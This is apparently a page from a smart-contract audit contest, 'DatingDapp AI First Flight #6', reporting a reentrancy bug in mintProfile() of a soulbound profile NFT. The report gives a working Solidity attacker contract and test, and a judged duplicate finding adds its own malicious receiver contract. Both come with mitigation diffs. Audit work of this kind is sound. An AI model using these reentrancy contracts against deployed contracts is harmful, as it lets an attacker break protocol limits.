DatingDapp
AI First Flight #6
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EXP
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Submission Details
Severity: medium
Valid

Reentrancy in `mintProfile()` bypasses the one-profile-per-user limit

jfornells

Severity

Medium

Likelihood

High

Root + Impact

mintProfile() records profileToToken[msg.sender] after _safeMint(), allowing reentrancy to mint multiple profiles before the one-profile limit is enforced.

Description

  • The intended behavior is that each address can mint only one dating profile NFT.

  • The issue is that _safeMint() is executed before profileToToken[msg.sender] is updated. If the recipient is a contract, it can reenter through onERC721Received() while the mapping still shows no existing profile, allowing repeated mints in the same transaction.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
​
_profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId;
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Risk

Likelihood: High

  • A contract recipient can reliably trigger the reentrancy through onERC721Received().

  • No unusual conditions are required beyond minting through a contract.

Impact: Medium

  • One address can mint multiple profile NFTs.

  • This breaks the protocol’s core uniqueness rule for user profiles.

Proof of Concept

The following test shows that a contract can reenter during _safeMint() and mint multiple profiles for the same address.

contract ReentrancyAttack is IERC721Receiver {
string public name = "Jorx";
string public profileImage;
uint8 public age = 30;
​
address public soulBoundNFT;
​
constructor(address _soulBoundNFT) {
soulBoundNFT = _soulBoundNFT;
}
​
function attackMint() external {
// Start the first mint. The reentrancy happens during the receiver hook.
ISoulBound(soulBoundNFT).mintProfile(name, age, profileImage);
}
​
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
// Reenter before profileToToken[msg.sender] is updated.
// This keeps passing the "Profile already exists" check.
if (ISoulBound(soulBoundNFT).balanceOf(address(this)) < 5) {
ISoulBound(soulBoundNFT).mintProfile(name, age, profileImage);
}
​
return IERC721Receiver.onERC721Received.selector;
}
}
​
function test_Reentrancy_AllowsMultipleProfilesPerUser() public {
// Deploy the attacker contract so it can receive ERC721 tokens
// and reenter through onERC721Received().
ReentrancyAttack attacker = new ReentrancyAttack(address(soulboundNFT));
​
// Trigger the first mint, which recursively mints additional profiles.
attacker.attackMint();
​
// The same address ends up holding multiple profile NFTs.
assertEq(soulboundNFT.balanceOf(address(attacker)), 5);
}

Recommended Mitigation

Record the user’s profile token before calling _safeMint() so the one-profile limit is consumed before the receiver hook can execute.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
​
_profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

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